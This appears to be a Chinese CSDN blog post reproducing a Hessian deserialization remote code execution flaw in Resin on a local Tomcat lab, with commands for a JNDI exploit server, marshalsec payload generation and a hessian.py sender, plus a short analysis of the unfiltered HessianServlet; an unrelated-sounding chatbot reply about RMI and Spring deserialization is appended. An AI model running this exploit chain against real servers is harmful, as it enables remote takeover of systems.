rmi反序列化导致rce漏洞修复_Resin payload复现Hessian反序列化RCE漏洞

本文介绍了如何复现Resin服务器由于Hessian反序列化导致的远程代码执行(RCE)漏洞。首先,搭建了测试环境,并启动JNDI利用工具。接着,通过marshalsec生成payload,并将其发送到Resin服务器。分析发现HessianServlet没有过滤机制,从而导致漏洞。最后,展示了利用hessian.py构造请求数据包并触发RCE的过程。
摘要由CSDN通过智能技术生成

一,搭建测试环境

测试环境使用最新的jar包

将HessianTest.war放在tomcat / webapp /下,然后启动tomcat

访问服务器并返回到以下页面以指示环境正常

二,启动JNDI利用工具

编译后,JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

执行命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A 127.0.0.1

-C是要执行的命令-A是侦听地址

三,生成payload

编译后的marshalsec-0.0.3-SNAPSHOT-all.jar

执行命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://127.0.0.1:8180/ ExecTemplateJDK7>hession

将在当前目录生成hession的payload

四,将有效载荷发送到粗麻布服务器

使用hessian.py将序列化的有效负载发送到服务器

执行订单:

python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian

您可以看到服务器已转到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar以下载恶意类并执行弹出计算器

五,分析

使用hession的Web项目需要配置web.xml并映射com.caucho.hessian.server.HessianServlet的对应路径

Java客户端可以轻松地调用服务器上的方法,如下所示

查看com.caucho.hessian.server.HessianServlet的代码

服务方法处理来自客户端的http请求并调用

调用HessianSkeleton的invoke方法从客户端发送的数据流中读取对象

看到代码中没有黑白名单过滤机制

通过抓取请求数据包,分析和构建请求数据包,将由marshalsec工具生成的Resion有效负载发送到服务器

这是构造请求数据包的hessian.py代码

请求包

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,我知道你的问题了。针对你提到的这个问题,我可以给你一些解释和分析。 首先,RMI(Remote Method Invocation)是Java远程调用机制的一种实现方式,它允许在不同的JVM进程之间进行Java对象的传输和远程调用。而反序列化(Deserialization)是将二进制数据转换为Java对象的过程。在Java中,对象的序列化和反序列化是通过ObjectInputStream和ObjectOutputStream类来实现的。 RMI远程反序列化RCE漏洞是指,攻击者可以通过构造恶意的序列化数据,使得服务端在反序列化时执行恶意代码,从而导致远程代码执行漏洞。这个漏洞的根本原因在于Java序列化机制的设计缺陷,攻击者可以通过构造恶意的序列化数据来绕过Java的安全机制,从而执行任意代码。 而Spring框架的反序列化远程代码执行漏洞,则是指攻击者可以通过构造恶意的序列化数据,使得Spring框架在反序列化时执行恶意代码,从而导致远程代码执行漏洞。这个漏洞的影响范围非常广泛,涵盖了Spring框架的多个版本,包括Spring MVC、Spring WebFlow、Spring Data等。 总的来说,RMI远程反序列化RCE漏洞和Spring框架的反序列化远程代码执行漏洞都是Java序列化机制的设计缺陷所导致的安全漏洞。攻击者可以通过构造恶意的序列化数据来绕过Java的安全机制,从而执行任意代码。因此,在开发Java应用程序时,需要注意对序列化和反序列化数据的处理,避免出现安全漏洞
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值